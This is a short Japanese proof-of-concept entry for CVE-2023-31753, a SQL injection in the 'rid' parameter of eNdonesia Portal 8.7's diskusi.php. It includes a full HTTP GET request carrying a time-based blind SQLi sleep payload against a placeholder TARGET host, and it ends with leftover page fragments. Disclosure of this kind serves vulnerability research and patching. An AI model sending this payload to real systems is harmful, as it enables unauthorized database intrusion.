CVE-2023-31753 の概念実証

説明: eNdonesia Portal v8.7 に SQL インジェクションの脆弱性が発見されました。これは、diskusi.php の "rid" パラメータに細工したペイロードを挿入することで悪用されます。

エクスプロイトタイトル: eNdonesia Portal 8.7 - diskusi.php の SQL インジェクションの脆弱性 (rid パラメータ)
日付: 2023年5月19日
エクスプロイト作成者: Kunal Khubchandani
ベンダーホームページ: http://www.endonesia.org/
ソフトウェアリンク: https://sourceforge.net/projects/endonesia/
バージョン: 8.7
カテゴリ: Webapps
テスト環境: WiN11_x64/KaLiLinuX_x64
CVE : CVE-2023-31753

#POC:

この脆弱性を悪用するには、以下の HTTP リクエストの "rid" GET パラメータの値として SQLi sleep ペイロードを送信する必要があります。
脆弱性のあるリクエスト:

GET /endonesia.8.7.en/mod.php?mod=diskusi&op=delres&rid=(select*from(select(sleep(20)))a) HTTP/1.1
Host: TARGET
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Connection: close
Cache-Control: max-age=0

上記の HTTP リクエストを Burp Suite 経由で送信すると、20 秒の遅延を伴うレスポンスが返されます。

** 20 秒の遅延:

** 30 秒の遅延:

CVE-2023-31753

人気

CVE-2023-31753 の概念実証